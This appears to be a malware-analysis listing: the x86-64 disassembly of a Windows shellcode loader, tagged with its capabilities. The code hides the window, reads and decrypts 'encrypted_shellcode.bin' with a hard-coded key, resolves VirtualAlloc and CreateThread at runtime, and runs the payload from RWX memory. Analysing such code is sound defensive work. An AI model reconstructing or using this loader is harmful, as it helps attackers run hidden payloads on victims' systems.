Function at 0x4010c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Link many functions at runtime
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
call sub.user32.dll_GetForegroundWindow
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x4010f5
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.user32.dll_ShowWindow
mov eax, 0xcb
mov byte [rbp - 0x18], al
mov eax, 0xa
mov byte [rbp - 0x17], al
mov eax, 0x8f
mov byte [rbp - 0x16], al
mov eax, 0x64
mov byte [rbp - 0x15], al
mov eax, 0xc9
mov byte [rbp - 0x14], al
mov eax, 0x14
mov byte [rbp - 0x13], al
mov eax, 0x4a
mov byte [rbp - 0x12], al
mov eax, 0xa4
mov byte [rbp - 0x11], al
mov eax, 0x1d
mov byte [rbp - 0x10], al
mov eax, 0x76
mov byte [rbp - 0xf], al
mov eax, 0x17
mov byte [rbp - 0xe], al
mov eax, 0xc3
mov byte [rbp - 0xd], al
mov eax, 0x79
mov byte [rbp - 0xc], al
mov eax, 0x1c
mov byte [rbp - 0xb], al
mov eax, 0x9d
mov byte [rbp - 0xa], al
mov eax, 0x1e
mov byte [rbp - 9], al
lea rax, [0x00402018]
mov r11, rax
lea rax, str.encrypted_shellcode.bin
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
jne 0x4011c2
lea rax, str.Failed_to_open_shellcode_file_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x401500
mov eax, 2
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_ftell
movsxd rax, eax
mov qword [rbp - 0x28], rax
mov eax, 0
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov r9, rax
mov rax, qword [rbp - 0x28]
mov r8, rax
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 0x30]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fread
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
movabs rax, 0x10
mov r9, rax
lea rax, [rbp - 0x18]
mov r8, rax
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x30]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
lea rax, [0x0040203a]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
mov qword [rbp - 0x38], rax
lea rax, str.VirtualAlloc
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x40], rax
lea rax, str.VirtualFree
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x48], rax
lea rax, str.CreateThread
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x50], rax
lea rax, str.WaitForSingleObject
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x58], rax
lea rax, str.CloseHandle
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x60], rax
mov eax, 0x40
mov r9, rax
mov eax, 0x1000
mov r8, rax
mov rax, qword [rbp - 0x28]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x40]
call r11
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
cmp rax, 0
jne 0x4013bc
lea rax, str.VirtualAlloc_failed_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x30]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x401500
mov rax, qword [rbp - 0x28]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x68]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x30]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
movabs rax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x68]
mov r9, rax
lea rax, [0x00401094]
mov r8, rax
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x50]
call r11
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
cmp rax, 0
jne 0x401493
lea rax, str.CreateThread_failed_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0x8000
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x68]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x48]
call r11
mov eax, 1
jmp 0x401500
mov eax, 0xffffffff
mov r11, rax
mov rax, qword [rbp - 0x70]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x58]
call r11
mov rax, qword [rbp - 0x70]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x60]
call r11
mov eax, 0x8000
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x68]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x48]
call r11
lea rax, str.Hello_World__n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret